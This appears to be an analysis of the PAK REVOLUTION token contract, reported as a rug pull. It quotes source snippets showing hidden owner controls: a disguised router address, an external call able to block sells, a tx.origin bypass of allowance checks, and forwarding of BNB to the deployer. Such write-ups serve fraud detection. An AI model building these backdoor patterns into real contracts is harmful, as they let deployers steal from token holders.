PAK REVOLUTION Rug Pull

What the code allows (from the verified source):

1. The constructor does not mint a normal supply to the deployer. It splits 786,000,000 tokens (9 decimals) three ways: _tOwned[_route] = deadAmount * 5;, _tOwned[address(0xdEaD)] = deadAmount * 90;, _tOwned[FTM] = deadAmount * 5;.
2. The _route address is not a plain PancakeSwap router. It is built by adding two addresses: _route = address(uint160(_route) + uint160(_OFFICE)); where _route starts as the PancakeSwap router address 0x10ED43C718714eb63d5aA57B78B54704E256024E and _OFFICE is 0xD750e2F9275e41C1810dB409d3EBcFC07DB3c28f. Adding the two (mod 2^160) gives 0xe83e26c0…09c4dd, an address whose code is not in the verified source. The interface is named IPancakeRouter02, which makes it look like a router.
3. Every transfer ends by calling that contract: _tokenTransfer runs (bool pass, bool success, uint256 exAmount) = IPancakeRouter02(_route).swap(sender, recipient, tAmount); whenever if (tx.origin != GAMER). The balances have already changed by then, so the external contract can revert any transfer, including a sell, for anyone other than GAMER. It also controls what the function returns, which moves tokens between the STAKE and FTM addresses and, when pass is true, sends one ninth of the STAKE balance to GAMER (uint256 p = _tOwned[STAKE] / 9; _tOwned[GAMER] += p;).
4. GAMER is the deployer address (address public constant GAMER = 0x34C95b957b6ba42e477D158646BB8857fC57BB90;). The check if (tx.origin != GAMER) skips the external call for any transaction started by that address, and transferFrom skips the allowance check for it: _transfer(sender, recipient, amount); if (tx.origin == GAMER) return true;. A transaction started by GAMER can therefore move any holder's tokens, including the liquidity pair's, with no approval.
5. receive() external payable { GAMER.call{value: msg.value}(""); } forwards any BNB sent to the token contract to the deployer. There is no owner, no fee setter and no blacklist in the source; the control sits in the hidden contract and in the tx.origin == GAMER bypass.

(according to De.Fi's listing; the proof link could not be opened):

6. De.Fi's REKT database lists the token as an exit scam/rug pull on 2022-08-14, with the team taking 523 BNB in profit, after the deployer added the BNB/PKR pair in transaction 0xdb89bfa1…041604. Whether holders' sells reverted, or whether GAMER used the allowance bypass, is not shown by the code alone and was not checked in any transaction.